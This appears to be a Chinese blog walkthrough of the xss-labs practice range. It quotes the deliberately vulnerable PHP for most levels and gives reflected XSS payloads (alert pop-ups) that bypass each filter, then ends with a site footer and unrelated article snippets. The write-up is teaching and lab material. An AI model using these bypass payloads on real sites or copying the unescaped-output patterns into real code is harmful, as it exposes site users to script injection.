反射型xss靶場練習

反射型xss危害小,這里使用的xss靶場是常用的xss靶場:xss-labs。

當我們完成彈窗后就通過該關卡,說該關卡存在xss的一個漏洞并且可以解析js代碼。

第一關:
?

這里沒有過濾我們輸入的代碼:直接將js代碼放在js代碼中,js代碼被執行。

第二關:
?

在這里,對我們的輸入的keyword值使用htmlspecialchars 函數進行了過濾,對 ‘ “ < > & 進行了實體編碼。雖然可以對其進行解碼,但是再不會進入到標簽開始狀態了,所以如果直接寫<script>alert(1)</script>并不會觸發。

所以,我們在h2中無法進行操作了,我們需要在input中進行操作。

解法1:閉合input標簽

<input name=keyword  value="sadas"> <script>alert(123)</script>   ">

解決方法2:閉合雙引號,添加一個點擊事件。

<input name=keyword  value=" asd" onclick="alert(212)">

第二個方法需要用戶點擊輸入框后才會執行,所以沒有第一個方法好。

第三關:


ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";

在h2中對< >進行了實體編碼,所以不考慮。只考慮Input中。觀察在input中也是用了htmlspecialchars進行編碼,并且在這里為 ’ (單引號)閉合。

我們去php官網查看這個函數發現:如果你要對單引號進行編碼需要設置 ENT_QUOTES ,但這里并沒有設置說明對單引號不起作用。

解決方法:

<input name=keyword  value='asd' onclick='alert(12)'>	

第四關:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

這里過濾了< 和 > ,所以無法閉合尖括號產生新標簽。并且還使用htmlspecialchars在h2中進行過濾。所以只看Input。

解決方法:

<input name=keyword  value="asd" onclick="alert(12) ">

第五關:
?

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

如上:對關鍵字<script 和 < on進行了替換,并且在h2中進行了過濾,只能考慮input。

在input這里并沒有過濾< > ;所以解決辦法如下。

解決方法:添加a標簽,在a標簽中操作。

<input name=keyword  value="sda"> <a href="javascript:alert(12)">asdas</a>  ">

第六關:

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

過濾了許多,但是注意在這里并沒有過濾大小寫,所以我們可以大小寫繞過。所以解決方法很多。

注意:在html中是不區分大小寫的,但是在js中是嚴格區分大小寫的。

<script></script> 標簽可以不區分大小寫。比如寫為:<SCRIpt></SCRIPT>
但是在其中的內容要嚴格區分大小寫,比如alert等。

解決方法:

asd" > <a hREf="javascript:alert(12)">asd</a> 
<input name=keyword  value="asd" > <a hREf="javascript:alert(12)">asd</a> ">

第八關:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>

這里是將我們輸入的內容放到a標簽的href中。很明顯需要使用javascript:這個偽協議。但是這里對我們的輸入進行了過濾,將script替換為了scr_ipt。這里我們可以先將javascript進行實體編碼,在放入。

解決方法: 首先將javascript進行實體編碼:

將實體進行輸入到href中:

javascript:alert(12)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(12)<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(12)">友情鏈接</a>

第九關:
?

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}

這里的過濾和前面類似,但是在后面存在一個strpos函數,用來檢測我們傳的參數中是否有http://,如果有則合法,如果沒有則不和法。

解決方法:

依然將javascript進行實體編碼,不過還需要在后加上http://。

javascript:alert(112);//http://
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(112);//http://
注意:在這里我們使用//將http://注釋掉了,雖然注釋掉了但是http://還是存在,所以檢測時我們的輸入是合法的。<center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(112);//http://">友情鏈接</a></center>

第十關:
?

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';

我們查看頁面源代碼發現存在隱藏的from表單:其中的input選項被隱藏了。

經過對php的源碼分析發現:接收了一個t_sort參數,最后傳遞給表單中name=t_sort的輸入框,所以我們可以在這里進行操作。這里過濾了< 和> 。

解決方法:

我們可以在url中給t_sort進行賦值,改變input的屬性,改變之后就可以顯示出來,當我們點擊輸入框時它就會彈窗。

/level10.php?t_sort=aaa" type="text" onclick="alert(12)

第十一關:
?

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';

加了過濾函數htmlspecialchars的基本不用看了,我們只需要在<input name="t_ref" value="'.$str33.'" type="hidden">觀察即可。

$str11=$_SERVER['HTTP_REFERER']; 它獲取的是我們http請求頭的referer字段。

http中referer字段的含義:

referer可以跟蹤你上網的痕跡,你從哪個網站跳轉到另一個網站,它就會跟蹤到。上面顯示的是你從哪個網站過來的。

解決方法:偽造referer字段。

當我們點擊輸入框后就會彈窗:

第十二關:

偽造user agent

第十三關:

偽造cookies

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/24588.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/24588.shtml
英文地址,請注明出處:http://en.pswp.cn/web/24588.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

12、架構-流量治理之服務容錯

概述 容錯性設計&#xff08;Design for Failure&#xff09;是微服務的另一個核心原 則&#xff0c;也是筆者書中反復強調的開發觀念轉變。不過&#xff0c;即使已經有一定 的心理準備&#xff0c;大多數首次將微服務架構引入實際生產系統的開發者&#xff0c; 在服務發…

web前端 麥子學院:探索前端技術的無盡奧秘

web前端 麥子學院&#xff1a;探索前端技術的無盡奧秘 在數字化浪潮洶涌的時代&#xff0c;Web前端技術作為連接用戶與互聯網的橋梁&#xff0c;正以其獨特的魅力吸引著無數開發者。麥子學院&#xff0c;作為前端技術學習的殿堂&#xff0c;為我們提供了深入探索前端技術的寶貴…

Linux下線程的互斥與同步詳解

&#x1f916;個人主頁&#xff1a;晚風相伴-CSDN博客 &#x1f496;如果覺得內容對你有幫助的話&#xff0c;還請給博主一鍵三連&#xff08;點贊&#x1f49c;、收藏&#x1f9e1;、關注&#x1f49a;&#xff09;吧 &#x1f64f;如果內容有誤或者有寫的不好的地方的話&…

android:text 總為大寫字母的原因

當設置某個 Button 的 text 為英文時&#xff0c;界面上顯示的是該英文的大寫形式&#xff08;uppercase&#xff09;。例如&#xff1a; <Buttonandroid:id"id/btn"android:layout_width"wrap_content"android:layout_height"wrap_content"…

centos7 安裝 mysql5.7 LTS

centos7 安裝 mysql5.7 LTS 參考&#xff1a; https://blog.csdn.net/EB_NUM/article/details/105425622 可以在運行安裝程序之前導入密鑰&#xff1a; sudo rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022第一步、下載MySQL 安裝包&#xff1a; sudo wget h…

Python 中的內存管理機制

Python 的內存管理機制主要由兩個部分組成&#xff1a;垃圾回收機制和引用計數。 垃圾回收機制主要負責檢測和回收不再被使用的內存。Python 使用的是自動垃圾回收機制&#xff0c;也就是說程序員不需要手動釋放內存。Python 的垃圾回收機制采用了引用計數的方法來追蹤和回收不…

植物大戰僵尸雜交版破解C++實現

文章目錄 前言準備工作&#xff1a;基地址與偏移UI界面設計和綁定項目模板總覽圖生成與實現信號處理1、陽光值更新:BTN12、三種錢幣值更新:BTN2-BTN43、冷卻刷新:BTN54、鎖定陽光&#xff1a;check15、無冷卻&#xff1a;check26、OnTimer&#xff08;&#xff09;和OnClose&am…

git合并多個項目并保留提交版本記錄

目錄 一、場景 二、合并步驟 1.本地新建 all 目錄&#xff0c;并初始化 2.在 all 中添加 a&#xff0c;b&#xff0c;c 的遠程分支 3.驗證是否添加成功 4.在 all 目錄下&#xff0c;獲取 a, b,c 的 master 分支數據 5.合并項目并移動到子目錄中 6.推送 all 的 master 分支…

二開版微交易系統

下載地址&#xff1a;二開版微交易系統

集成學習概述

概述 集成學習(Ensemble learning)就是將多個機器學習模型組合起來&#xff0c;共同工作以達到優化算法的目的。具體來講&#xff0c;集成學習可以通過多個學習器相結合&#xff0c;來獲得比單一學習器更優越的泛化性能。集成學習的一般步驟為&#xff1a;1.生產一組“個體學習…

實戰 | YOLOv10 自定義數據集訓練實現車牌檢測 (數據集+訓練+預測 保姆級教程)

導讀 本文主要介紹如何使用YOLOv10在自定義數據集訓練實現車牌檢測 (數據集訓練預測 保姆級教程)。 YOLOv10簡介 YOLOv10是清華大學研究人員在Ultralytics Python包的基礎上&#xff0c;引入了一種新的實時目標檢測方法&#xff0c;解決了YOLO以前版本在后處理和模型架構方面…

規范系統運維:系統性能監控與優化的重要性與實踐

在當今這個高度信息化的時代&#xff0c;企業的IT系統運維工作顯得尤為關鍵。其中&#xff0c;系統性能監控和優化是運維工作中不可或缺的一環。本文旨在探討規范系統運維中系統性能監控與優化的重要性&#xff0c;并分享一些實踐經驗和策略。 一、系統性能監控與優化的重要性…

RAGFlow 學習筆記

RAGFlow 學習筆記 0. 引言1. RAGFlow 支持的文檔格式2. 嵌入模型選擇后不再允許改變3. 干預文件解析?4. RAGFlow 與其他 RAG 產品有何不同&#xff1f; ?5. RAGFlow 支持哪些語言&#xff1f; ?6. 哪些嵌入模型可以本地部署&#xff1f; ?7. 為什么RAGFlow解析文檔的時間比…

自動化裝箱封箱解決方案:深度探討其優勢及故障處理技巧

在當今這個快節奏、高效率的時代&#xff0c;自動化裝箱封箱解決方案以其獨特的優勢&#xff0c;正逐漸成為物流、倉儲等行業的新寵。它不僅能大幅提升作業效率&#xff0c;還能顯著降低人工成本&#xff0c;減少人為錯誤。星派將深度探討自動化裝箱封箱技術的顯著優勢&#xf…

【Vue】練習-mutations的減法功能

文章目錄 一、需求二、完整代碼 一、需求 步驟 二、完整代碼 Son1.vue <template><div class"box"><h2>Son1 子組件</h2>從vuex中獲取的值: <label>{{ $store.state.count }}</label><br><button click"handleA…

C# 界面控件中英切換

編程軟件:VS 2015 需求:界面有兩個按鈕&#xff0c;點擊可以將界面上所有控件進行不同語言的切換。 一共兩種方案&#xff0c;個人認為第二種方案使用范圍更廣&#xff08;這里以中英文切換為例&#xff09;。 方案一:如圖所示&#xff0c;建立兩個資源文件 將所需控件的中英…

海思SS928(SD3403)部署YOLOv5-YOLOv7步驟詳解

1. YOLO模型資料 本文檔內容以yolov5-7.0工程、yolov5s模型為例。 a. 模型結構 詳細的模型結構可以利用netron工具打開.pt或.onnx模型查看。 b. 模型參數即驗證結果 其中,YOLOv5n、YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x為五種類型的預訓練模型,其包含的檢測類別相…

利用Pandas進行數據清洗與過濾:Python實戰指南

利用Pandas進行數據清洗與過濾&#xff1a;Python實戰指南 作為一個Python愛好者和數據分析從業者&#xff0c;我一直在探索如何利用Python來更高效地處理和分析數據。Python語言以其簡單易學、功能強大的特點&#xff0c;成為了數據分析領域的寵兒。本文將分享一些實用的Pyth…

2024 cicsn ezbuf

文章目錄 參考protobuf逆向學習復原結構思路exp 參考 https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf protobuf 當時壓根不知道用了protobuf這個玩意&#xff0c;提取工具也沒提取出來&#xff0c;還是做題做太少了&#xff0c;很多關鍵性的結構都沒看出來是pro…

android 異屏同顯---學習筆記

實現 Android 異屏同顯(多個屏幕顯示同樣的畫面)可以通過多種方法來完成,具體實現方式會根據你的需求和設備的支持情況有所不同。以下是幾種常見的方法: 方法 1:使用 Cast SDK 如果你想要將內容投屏到智能電視或其他支持 Cast 的設備上,可以使用 Google Cast SDK。 主…